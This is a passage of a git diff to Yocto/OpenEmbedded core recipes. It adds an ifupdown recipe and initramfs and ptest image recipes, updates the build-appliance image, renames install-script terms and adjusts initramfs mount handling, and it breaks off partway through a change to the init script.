--- /dev/null
+++ b/meta/recipes-core/ifupdown/ifupdown_0.8.41.bb
@@ -0,0 +1,62 @@
+SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
+HOMEPAGE = "https://salsa.debian.org/debian/ifupdown"
+DESCRIPTION = "High level tools to configure network interfaces \
+This package provides the tools ifup and ifdown which may be used to \
+configure (or, respectively, deconfigure) network interfaces, based on \
+the file /etc/network/interfaces."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https;branch=master \
+ file://99_network \
+ file://run-ptest \
+ file://0001-Define-FNM_EXTMATCH-for-musl.patch \
+ file://0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch \
+ file://0001-ifupdown-skip-wrong-test-case.patch \
+ file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
+ file://tweak-ptest-script.patch \
+ "
+SRCREV = "369d9d3c13a0c56ad09fd4f13b4a80eb9a94e270"
+
+S = "${WORKDIR}/git"
+
+
+inherit ptest update-alternatives
+
+do_compile () {
+ chmod a+rx *.pl *.sh
+ oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
+}
+
+do_install () {
+ install -d ${D}${mandir}/man8 \
+ ${D}${mandir}/man5 \
+ ${D}${base_sbindir}
+
+ # If volatiles are used, then we'll also need /run/network there too.
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
+
+ install -m 0755 ifup ${D}${base_sbindir}/
+ ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
+ install -m 0644 ifup.8 ${D}${mandir}/man8
+ install -m 0644 interfaces.5 ${D}${mandir}/man5
+ cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
+
+ install -d ${D}${sysconfdir}/network/if-pre-up.d
+ install -d ${D}${sysconfdir}/network/if-up.d
+ install -d ${D}${sysconfdir}/network/if-down.d
+ install -d ${D}${sysconfdir}/network/if-post-down.d
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/testbuild-linux ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/linux ${D}${PTEST_PATH}/tests/
+}
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "ifup ifdown"
+
+ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
+ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/images/build-appliance-image_15.0.0.bb b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
index c9367dd0c4..4cf55519cc 100644
--- a/meta/recipes-core/images/build-appliance-image_15.0.0.bb
+++ b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
@@ -1,17 +1,17 @@
SUMMARY = "An image containing the build system itself"
DESCRIPTION = "An image containing the build system that you can boot and run using either VirtualBox, VMware Player or VMware Workstation."
-HOMEPAGE = "http://www.yoctoproject.org/documentation/build-appliance"
+HOMEPAGE = "https://docs.yoctoproject.org/overview-manual/yp-intro.html#archived-components"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
IMAGE_INSTALL = "packagegroup-core-boot packagegroup-core-ssh-openssh packagegroup-self-hosted \
- kernel-dev kernel-devsrc connman connman-plugin-ethernet dhcp-client \
+ kernel-dev kernel-devsrc connman connman-plugin-ethernet dhcpcd \
tzdata python3-pip perl-misc"
IMAGE_FEATURES += "x11-base package-management splash"
-QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
+QB_MEM ?= '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
# Ensure there's enough space to do a core-image-sato build, with rm_work enabled
IMAGE_ROOTFS_EXTRA_SPACE = "41943040"
@@ -20,12 +20,14 @@ IMAGE_ROOTFS_EXTRA_SPACE = "41943040"
APPEND += "rootfstype=ext4 quiet"
DEPENDS = "zip-native python3-pip-native"
-IMAGE_FSTYPES = "wic.vmdk"
+IMAGE_FSTYPES = "wic.vmdk wic.vhd wic.vhdx"
-inherit core-image module-base setuptools3
+inherit core-image setuptools3 features_check
-SRCREV ?= "33903932ad87bfa8e8bf7baf2256781714993b79"
-SRC_URI = "git://git.yoctoproject.org/poky \
+REQUIRED_DISTRO_FEATURES += "xattr"
+
+SRCREV ?= "17723c6e34096a53fb186cc70cfc604bb30da8b9"
+SRC_URI = "git://git.yoctoproject.org/poky;branch=master \
file://Yocto_Build_Appliance.vmx \
file://Yocto_Build_Appliance.vmxf \
file://README_VirtualBox_Guest_Additions.txt \
@@ -34,7 +36,7 @@ SRC_URI = "git://git.yoctoproject.org/poky \
RECIPE_NO_UPDATE_REASON = "Recipe is recursive and handled as part of the release process"
BA_INCLUDE_SOURCES ??= "0"
-IMAGE_CMD_ext4_append () {
+IMAGE_CMD:ext4:append () {
# We don't need to reserve much space for root, 0.5% is more than enough
tune2fs -m 0.5 ${IMGDEPLOYDIR}/${IMAGE_NAME}.rootfs.ext4
}
@@ -61,14 +63,9 @@ fakeroot do_populate_poky_src () {
# Place the README_VirtualBox_Toaster file in builders home folder.
cp ${WORKDIR}/README_VirtualBox_Toaster.txt ${IMAGE_ROOTFS}/home/builder/
- # Create a symlink, needed for out-of-tree kernel modules build
- if [ ! -e ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build ]; then
- rm -f ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- lnr ${IMAGE_ROOTFS}${KERNEL_SRC_PATH} ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- fi
-
echo "INHERIT += \"rm_work\"" >> ${IMAGE_ROOTFS}/home/builder/poky/build/conf/auto.conf
echo "export LC_ALL=en_US.utf8" >> ${IMAGE_ROOTFS}/home/builder/.bashrc
+ echo "export TERM=xterm-color" >> ${IMAGE_ROOTFS}/home/builder/.bashrc
# Also save (for reference only) the actual SRCREV used to create this image
echo "export BA_SRCREV=${SRCREV}" >> ${IMAGE_ROOTFS}/home/builder/.bashrc
@@ -93,7 +90,7 @@ fakeroot do_populate_poky_src () {
# Load tap/tun at startup
rm -f ${IMAGE_ROOTFS}/sbin/iptables
- lnr ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
+ ln -rs ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
echo "tun" >> ${IMAGE_ROOTFS}/etc/modules
# Use Clearlooks GTK+ theme
@@ -114,7 +111,15 @@ fakeroot do_populate_poky_src () {
chown -R builder:builder ${IMAGE_ROOTFS}/home/builder/.cache
}
-IMAGE_PREPROCESS_COMMAND += "do_populate_poky_src; "
+fakeroot do_tweak_image () {
+ # add a /lib64 symlink
+ # this is needed for building rust-native on a 64-bit build appliance
+ ln -rs ${IMAGE_ROOTFS}/lib ${IMAGE_ROOTFS}/lib64
+}
+
+IMAGE_PREPROCESS_COMMAND += "do_populate_poky_src do_tweak_image"
+# For pip usage above
+do_image[network] = "1"
addtask rootfs after do_unpack
@@ -128,7 +133,9 @@ create_bundle_files () {
cd ${WORKDIR}
mkdir -p Yocto_Build_Appliance
cp *.vmx* Yocto_Build_Appliance
- ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vmdk Yocto_Build_Appliance/Yocto_Build_Appliance.vmdk
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}.wic.vmdk Yocto_Build_Appliance/Yocto_Build_Appliance.vmdk
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}.wic.vhdx Yocto_Build_Appliance/Yocto_Build_Appliance.vhdx
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}.wic.vhd Yocto_Build_Appliance/Yocto_Build_Appliance.vhd
zip -r ${IMGDEPLOYDIR}/Yocto_Build_Appliance-${DATETIME}.zip Yocto_Build_Appliance
ln -sf Yocto_Build_Appliance-${DATETIME}.zip ${IMGDEPLOYDIR}/Yocto_Build_Appliance.zip
}
diff --git a/meta/recipes-core/images/core-image-initramfs-boot.bb b/meta/recipes-core/images/core-image-initramfs-boot.bb
new file mode 100644
index 0000000000..7258944751
--- /dev/null
+++ b/meta/recipes-core/images/core-image-initramfs-boot.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Basic initramfs to boot a fully-featured rootfs"
+DESCRIPTION = "Small initramfs that contains just udev and init, to find the real rootfs."
+LICENSE = "MIT"
+
+INITRAMFS_SCRIPTS ?= "initramfs-framework-base initramfs-module-udev"
+
+PACKAGE_INSTALL = "${INITRAMFS_SCRIPTS} ${VIRTUAL-RUNTIME_base-utils} base-passwd"
+
+# Ensure the initramfs only contains the bare minimum
+IMAGE_FEATURES = ""
+IMAGE_LINGUAS = ""
+
+# Don't allow the initramfs to contain a kernel, as kernel modules will depend
+# on the kernel image.
+PACKAGE_EXCLUDE = "kernel-image-*"
+
+IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
+IMAGE_NAME_SUFFIX ?= ""
+IMAGE_ROOTFS_SIZE = "8192"
+IMAGE_ROOTFS_EXTRA_SPACE = "0"
+
+inherit image
diff --git a/meta/recipes-core/images/core-image-minimal-initramfs.bb b/meta/recipes-core/images/core-image-minimal-initramfs.bb
index 83d0eaa8df..36e8771c4a 100644
--- a/meta/recipes-core/images/core-image-minimal-initramfs.bb
+++ b/meta/recipes-core/images/core-image-minimal-initramfs.bb
@@ -1,4 +1,5 @@
# Simple initramfs image. Mostly used for live images.
+SUMMARY = "Small image capable of booting a device."
DESCRIPTION = "Small image capable of booting a device. The kernel includes \
the Minimal RAM-based Initial Root Filesystem (initramfs), which finds the \
first 'init' program more efficiently."
@@ -16,7 +17,10 @@ PACKAGE_INSTALL = "${INITRAMFS_SCRIPTS} ${VIRTUAL-RUNTIME_base-utils} udev base-
# Do not pollute the initrd image with rootfs features
IMAGE_FEATURES = ""
-export IMAGE_BASENAME = "${MLPREFIX}core-image-minimal-initramfs"
+# Don't allow the initramfs to contain a kernel
+PACKAGE_EXCLUDE = "kernel-image-*"
+
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
@@ -28,4 +32,4 @@ IMAGE_ROOTFS_SIZE = "8192"
IMAGE_ROOTFS_EXTRA_SPACE = "0"
# Use the same restriction as initramfs-module-install
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|loongarch64.*)-(linux.*|freebsd.*)'
diff --git a/meta/recipes-core/images/core-image-minimal.bb b/meta/recipes-core/images/core-image-minimal.bb
index 4630026aa9..84343adcd8 100644
--- a/meta/recipes-core/images/core-image-minimal.bb
+++ b/meta/recipes-core/images/core-image-minimal.bb
@@ -9,4 +9,4 @@ LICENSE = "MIT"
inherit core-image
IMAGE_ROOTFS_SIZE ?= "8192"
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "" ,d)}"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "", d)}"
diff --git a/meta/recipes-core/images/core-image-ptest-all.bb b/meta/recipes-core/images/core-image-ptest-all.bb
new file mode 100644
index 0000000000..d4edb0fd05
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-all.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Recipe to trigger execution of all ptest images."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+LICENSE = "MIT"
+
+inherit features_check nopackages
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require conf/distro/include/ptest-packagelists.inc
+
+# Include the full set of ptests
+PTESTS = "${PTESTS_FAST} ${PTESTS_SLOW}"
+
+do_testimage[noexec] = "1"
+do_testimage[depends] = "${@' '.join(['core-image-ptest-'+x+':do_testimage' for x in d.getVar('PTESTS').split()])}"
+
+do_build[depends] = "${@' '.join(['core-image-ptest-'+x+':do_build' for x in d.getVar('PTESTS').split()])}"
+
+# normally image.bbclass would do this
+EXCLUDE_FROM_WORLD = "1"
+
+python () {
+ if bb.utils.contains('IMAGE_CLASSES', 'testimage', True, False, d):
+ bb.build.addtask("do_testimage", "", "", d)
+}
diff --git a/meta/recipes-core/images/core-image-ptest-fast.bb b/meta/recipes-core/images/core-image-ptest-fast.bb
new file mode 100644
index 0000000000..a5364e6cbf
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-fast.bb
@@ -0,0 +1,6 @@
+require core-image-ptest-all.bb
+
+SUMMARY = "Recipe to trigger execution of all fast ptest images."
+
+PTESTS = "${PTESTS_FAST}"
+
diff --git a/meta/recipes-core/images/core-image-ptest.bb b/meta/recipes-core/images/core-image-ptest.bb
new file mode 100644
index 0000000000..72081f938d
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest.bb
@@ -0,0 +1,44 @@
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require core-image-minimal.bb
+require conf/distro/include/ptest-packagelists.inc
+
+DESCRIPTION += "Also including the ${MCNAME} ptest package."
+SUMMARY ?= "${MCNAME} ptest image."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+PTESTS = "${PTESTS_SLOW} ${PTESTS_FAST}"
+
+IMAGE_INSTALL:append = " ${MCNAME}-ptest openssh"
+
+BBCLASSEXTEND = "${@' '.join(['mcextend:'+x for x in d.getVar('PTESTS').split()])}"
+
+# The image can sufficiently large (~1.8GB) that we need to be careful that it fits in a live
+# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
+# box) and explicitly add up to 1500MB.
+# strace-ptest in particular needs more than 500MB
+IMAGE_OVERHEAD_FACTOR = "1.0"
+IMAGE_ROOTFS_EXTRA_SPACE = "324288"
+IMAGE_ROOTFS_EXTRA_SPACE:virtclass-mcextend-mdadm = "1524288"
+IMAGE_ROOTFS_EXTRA_SPACE:virtclass-mcextend-strace = "1524288"
+IMAGE_ROOTFS_EXTRA_SPACE:virtclass-mcextend-lttng-tools = "1524288"
+
+# tar-ptest in particular needs more space
+IMAGE_ROOTFS_EXTRA_SPACE:virtclass-mcextend-tar = "1524288"
+
+# ptests need more memory than standard to avoid the OOM killer
+QB_MEM = "-m 1024"
+QB_MEM:virtclass-mcextend-lttng-tools = "-m 4096"
+QB_MEM:virtclass-mcextend-python3 = "-m 2048"
+QB_MEM:virtclass-mcextend-python3-cryptography = "-m 5100"
+
+TEST_SUITES = "ping ssh parselogs ptest"
+
+# Sadly at the moment the full set of ptests is not robust enough and sporadically fails in random places
+PTEST_EXPECT_FAILURE = "1"
+
+python () {
+ if not d.getVar("MCNAME"):
+ raise bb.parse.SkipRecipe("No class extension set")
+}
diff --git a/meta/recipes-core/images/core-image-tiny-initramfs.bb b/meta/recipes-core/images/core-image-tiny-initramfs.bb
index 0eca6d9944..7a71d55b1e 100644
--- a/meta/recipes-core/images/core-image-tiny-initramfs.bb
+++ b/meta/recipes-core/images/core-image-tiny-initramfs.bb
@@ -1,4 +1,5 @@
# Simple initramfs image artifact generation for tiny images.
+SUMMARY = "Tiny image capable of booting a device."
DESCRIPTION = "Tiny image capable of booting a device. The kernel includes \
the Minimal RAM-based Initial Root Filesystem (initramfs), which finds the \
first 'init' program more efficiently. core-image-tiny-initramfs doesn't \
@@ -12,7 +13,7 @@ PACKAGE_INSTALL = "initramfs-live-boot-tiny packagegroup-core-boot dropbear ${VI
# Do not pollute the initrd image with rootfs features
IMAGE_FEATURES = ""
-export IMAGE_BASENAME = "core-image-tiny-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
@@ -26,7 +27,7 @@ IMAGE_ROOTFS_SIZE = "8192"
IMAGE_ROOTFS_EXTRA_SPACE = "0"
# Use the same restriction as initramfs-live-install
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
+COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm).*-linux"
python tinyinitrd () {
# Modify our init file so the user knows we drop to shell prompt on purpose
@@ -38,6 +39,6 @@ python tinyinitrd () {
init.write(newinit)
}
-IMAGE_PREPROCESS_COMMAND += "tinyinitrd;"
+IMAGE_PREPROCESS_COMMAND += "tinyinitrd"
QB_KERNEL_CMDLINE_APPEND += "debugshell=3 init=/bin/busybox sh init"
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/interfaces
index 0acf4cf441..3d0f0c6768 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/interfaces
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/interfaces
@@ -13,11 +13,15 @@ iface wlan0 inet dhcp
iface atml0 inet dhcp
-# Wired or wireless interfaces
+# Wired or wireless interfaces including predictable names
auto eth0
iface eth0 inet dhcp
iface eth1 inet dhcp
+# Busybox ifupdown won't process /en* correctly
+auto /en*=eth
+iface eth inet dhcp
+
# Ethernet/RNDIS gadget (g_ether)
# ... or on host side, usbnet and random hwaddr
iface usb0 inet static
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces
index 16967763e5..16967763e5 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
index b6fc8a4d41..409b1c0403 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
@@ -2,9 +2,8 @@ SUMMARY = "Basic TCP/IP networking init scripts and configuration files"
DESCRIPTION = "This package provides high level tools to configure network interfaces"
HOMEPAGE = "http://packages.debian.org/ifupdown"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://${WORKDIR}/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
-PR = "r7"
inherit update-rc.d
@@ -29,13 +28,13 @@ do_install () {
install -m 0755 ${WORKDIR}/nfsroot ${D}${sysconfdir}/network/if-pre-up.d
}
-do_install_append_qemuall () {
+do_install:append:qemuall () {
# Disable network manager on machines that commonly do NFS booting
touch ${D}${sysconfdir}/network/nm-disabled-eth0
}
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "netbase"
-RCONFLICTS_${PN} = "netbase (< 1:5.0)"
+RDEPENDS:${PN} = "netbase"
+RCONFLICTS:${PN} = "netbase (< 1:5.0)"
-CONFFILES_${PN} = "${sysconfdir}/network/interfaces"
+CONFFILES:${PN} = "${sysconfdir}/network/interfaces"
diff --git a/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh b/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
index b351985a61..4bd6ace7b3 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
@@ -133,12 +133,12 @@ mount -o rw,loop,noatime,nodiratime /run/media/$1/$2 /rootmnt
echo "Copying rootfs files..."
cp -a /rootmnt/* /ssd
-touch /ssd/etc/masterimage
+touch /ssd/etc/controllerimage
if [ -d /ssd/etc/ ] ; then
# We dont want udev to mount our root device while we're booting...
if [ -d /ssd/etc/udev/ ] ; then
- echo "/dev/${device}" >> /ssd/etc/udev/mount.blacklist
+ echo "/dev/${device}" >> /ssd/etc/udev/mount.ignorelist
fi
fi
diff --git a/meta/recipes-core/initrdscripts/files/init-install-efi.sh b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
index b6855b5aac..ffd3870199 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-efi.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
@@ -229,7 +229,7 @@ if [ -d /tgt_root/etc/ ] ; then
echo "UUID=$boot_uuid /boot vfat defaults 1 2" >> /tgt_root/etc/fstab
# We dont want udev to mount our root device while we're booting...
if [ -d /tgt_root/etc/udev/ ] ; then
- echo "${device}" >> /tgt_root/etc/udev/mount.blacklist
+ echo "${device}" >> /tgt_root/etc/udev/mount.ignorelist
fi
fi
@@ -279,6 +279,11 @@ fi
umount /tgt_root
+# copy any extra files needed for ESP
+if [ -d /run/media/$1/esp ]; then
+ cp -r /run/media/$1/esp/* /boot
+fi
+
# Copy kernel artifacts. To add more artifacts just add to types
# For now just support kernel types already being used by something in OE-core
for types in bzImage zImage vmlinux vmlinuz fitImage; do
diff --git a/meta/recipes-core/initrdscripts/files/init-install-testfs.sh b/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
index ac62160528..8ab74ddc5d 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
@@ -158,13 +158,13 @@ mount -o rw,loop,noatime,nodiratime /run/media/$1/$2 /src_root
echo "Copying rootfs files..."
cp -a /src_root/* /tgt_root
-touch /tgt_root/etc/masterimage
+touch /tgt_root/etc/controllerimage
if [ -d /tgt_root/etc/ ] ; then
echo "$bootfs /boot ext3 defaults 1 2" >> /tgt_root/etc/fstab
# We dont want udev to mount our root device while we're booting...
if [ -d /tgt_root/etc/udev/ ] ; then
- echo "/dev/${device}" >> /tgt_root/etc/udev/mount.blacklist
+ echo "/dev/${device}" >> /tgt_root/etc/udev/mount.ignorelist
fi
fi
umount /tgt_root
diff --git a/meta/recipes-core/initrdscripts/files/init-install.sh b/meta/recipes-core/initrdscripts/files/init-install.sh
index e71579631b..df33791ec7 100644
--- a/meta/recipes-core/initrdscripts/files/init-install.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install.sh
@@ -261,7 +261,7 @@ if [ -d /tgt_root/etc/ ] ; then
echo "$bootdev /boot ext3 defaults 1 2" >> /tgt_root/etc/fstab
# We dont want udev to mount our root device while we're booting...
if [ -d /tgt_root/etc/udev/ ] ; then
- echo "${device}" >> /tgt_root/etc/udev/mount.blacklist
+ echo "${device}" >> /tgt_root/etc/udev/mount.ignorelist
fi
fi
umount /tgt_root
diff --git a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
index 29ec5ec2ff..198459f2b2 100644
--- a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
@@ -3,7 +3,6 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-boot.sh"
-PR = "r2"
S = "${WORKDIR}"
@@ -18,4 +17,4 @@ do_install() {
inherit allarch
-FILES_${PN} += "/init /dev/console"
+FILES:${PN} += "/init /dev/console"
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/finish b/meta/recipes-core/initrdscripts/initramfs-framework/finish
index 717383ebac..ac0de9f996 100755
--- a/meta/recipes-core/initrdscripts/initramfs-framework/finish
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/finish
@@ -12,8 +12,29 @@ finish_run() {
fatal "ERROR: There's no '/dev' on rootfs."
fi
+ # Unmount anything that was automounted by busybox via mdev-mount.sh.
+ # We're about to switch_root, and leaving anything mounted will prevent
+ # the next rootfs from modifying the block device. Ignore ROOT_DISK,
+ # if it was set by setup-live, because it'll be mounted over loopback
+ # to ROOTFS_DIR.
+ local dev
+ for dev in /run/media/*; do
+ if mountpoint -q "${dev}" && [ "${dev##*/}" != "${ROOT_DISK}" ]; then
+ umount -f "${dev}" || debug "Failed to unmount ${dev}"
+ fi
+ done
+
info "Switching root to '$ROOTFS_DIR'..."
+ debug "Moving basic mounts onto rootfs"
+ for dir in `awk '/\/dev.* \/run\/media/{print $2}' /proc/mounts`; do
+ # Parse any OCT or HEX encoded chars such as spaces
+ # in the mount points to actual ASCII chars
+ dir=`printf $dir`
+ mkdir -p "${ROOTFS_DIR}/media/${dir##*/}"
+ mount -n --move "$dir" "${ROOTFS_DIR}/media/${dir##*/}"
+ done
+
debug "Moving /dev, /proc and /sys onto rootfs..."
mount --move /dev $ROOTFS_DIR/dev
mount --move /proc $ROOTFS_DIR/proc
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/init b/meta/recipes-core/initrdscripts/initramfs-framework/init
index c71ce0ce8c..567694aff7 100755
--- a/meta/recipes-core/initrdscripts/initramfs-framework/init
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/init
@@ -88,12 +88,25 @@ fi
# populate bootparam environment
for p in `cat /proc/cmdline`; do
+ if [ -n "$quoted" ]; then
+ value="$value $p"
